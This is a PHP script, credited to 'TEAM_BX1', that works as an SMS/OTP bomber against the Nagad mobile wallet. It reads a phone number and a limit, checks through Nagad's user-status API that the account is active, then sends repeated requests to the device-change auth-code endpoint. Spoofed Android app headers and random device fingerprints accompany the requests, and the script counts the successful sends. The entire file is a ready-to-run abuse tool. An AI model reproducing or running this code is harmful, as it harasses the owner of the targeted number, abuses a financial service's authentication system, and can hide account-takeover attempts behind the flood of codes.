ㄒιρS And Ͳ ᴀ S κ

<?php

class Bomber {
    public $num;
    public $amt;
    public $uid;
    public $sexsex = 0;
    public $failed = 0;

    public function __construct($num, $amt) {
        $this->num = $num;
        $this->amt = $amt;
        $this->uid = null;
        $this->start();
    }

    public function start() {
        if ($this->check()) {
            $this->bomb();
            $this->respo();
        }
    }

    public function sexy($url, $method='GET', $headers=null, $payload=null) {
        if (!$headers) $headers = [];

        if ($method == 'POST') {
            $response = Requests::post($url, $headers, $payload);
        } else {
            $response = Requests::get($url, $headers, $payload);
        }

        return $response;
    }

    public function check() {
        $url = "https://app.mynagad.com:20002/api/user/check-user-status-for-log-in";
        $params = ['msisdn' => $this->num];
        $headers = $this->cont_heda();

        $response = $this->sexy($url, 'GET', $headers, $params);
        $status = json_decode($response->body, true);

        if (isset($status['status']) && $status['status'] == "ACTIVE") {
            $this->uid = $status['userId'];
            return true;
        } else {
            $this->output_error("NaGad account is not active.");
            return false;
        }
    }

    public function cont_heda() {
        return [
            'User-Agent' => 'okhttp/3.14.9',
            'Connection' => 'Keep-Alive',
            'Accept-Encoding' => 'gzip',
            'X-KM-UserId' => 'None',
            'X-KM-User-AspId' => '100012345612345',
            'X-KM-User-Agent' => 'ANDROID/1152',
            'X-KM-DEVICE-FGP' => bin2hex(random_bytes(16)),
            'X-KM-Accept-language' => 'bn',
            'X-KM-AppCode' => '01'
        ];
    }

    public function bomb() {
        $url = "https://app.mynagad.com:20002/api/wallet/generateAuthCode/deviceChange";
        $payload = ['userId' => $this->uid];
        $headers = $this->cont_heda();
        $headers['Content-Type'] = 'application/json; charset=UTF-8';

        for ($i = 0; $i < $this->amt; $i++) {
            $response = $this->sexy($url, 'POST', $headers, json_encode($payload));
            $this->counter(json_decode($response->body, true));
        }
    }

    public function counter($response) {
        if (isset($response['executionStatus']) && $response['executionStatus']['statusType'] == "EXECUTED_SUCCESS") {
            $this->sexsex++;
        } else {
            $this->failed++;
        }
    }

    public function respo() {
        $result = [
            "Status" => "success - " . $this->sexsex . " & fail - " . $this->failed,
            "num" => $this->num,
            "amt" => $this->amt,
            "Credit" => "TEAM_BX1"
        ];
        echo json_encode($result, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    }

    public function output_error($message) {
        $error = ["error" => $message];
        echo json_encode($error, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
}

$num = readline("Enter Number: ");
$amt = readline("Enter Limit: ");

try {
    $amt = intval($amt);
    $nagad = new Bomber($num, $amt);
} catch (Exception $e) {
    echo json_encode(["error" => "Invalid 'amt' parameter."], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
}
?>